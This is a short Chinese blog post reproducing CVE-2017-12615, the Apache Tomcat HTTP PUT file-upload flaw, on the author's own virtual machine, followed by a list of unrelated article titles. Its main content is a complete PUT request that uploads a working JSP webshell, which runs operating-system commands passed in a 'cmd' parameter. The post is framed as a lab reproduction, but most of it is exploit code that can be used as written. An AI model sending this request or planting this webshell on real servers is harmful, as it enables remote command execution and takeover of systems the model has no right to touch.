CVE-2017-12615漏洞利用
2024-08-21 03:23:47
Tomcat任意文件上传漏洞CVE-2017-12615复现
今天在群里听到有人讲这个CVE-2017-12615漏洞,想起自己的虚机ubuntu里面曾经装过tomcat,午休时间来瞅瞅。
漏洞利用条件和方式:
CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
漏洞描述:
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞复现
首先运行tomcat环境,startup.sh
修改conf/web.xml文件添加readonly参数,属性值为false
使用burpsuite发送构造的的webshell
PUT /123.jsp/ HTTP/1.1
Host: 192.168.23.209:8080
User-Agent: JNTASS
DNT:1
Connection: close
Content-Length: 664 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
漏洞利用就这样简单的完成。
任重而道远!
最新文章
- centos 6.4 系统代理上网 设置
- [转] Oracle analyze 命令分析
- call和apply的差别
- iOS开发UI篇—程序启动原理和UIApplication1
- MVC Razor视图引擎
- VS2015预览版中的C#6.0 新功能(三)
- 如何取消input记忆功能
- Hadoop权威指南:HDFS-Hadoop存档
- ShoneSharp语言(S#)的设计和使用介绍—数值Double
- Python交互图表可视化Bokeh:6. 轴线| 浮动| 多图表
- python常用库 - NumPy 和 sklearn入门
- JAVA基础部分复习(六、常用关键字说明)
- C#常用修饰符
- JAVA RSA私钥 加密(签名) 对应 C# RSA私钥 加密(签名)
- Atitit jquery &#160;1.4--v1.11 &#160;v1.12 &#160;v2.0 &#160;3.0 的新特性
- 【.netcore基础】MVC制器Controller依赖注入
- Java中线程出现Exception in thread ";Thread-0"; java.lang.IllegalMonitorStateException异常 解决方法
- cxf之GET,POST,PUT,DELETE的区别
- Tomcat在Linux下的安装与配置
- sql server服务看不到,显示为远程过程调用在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误10061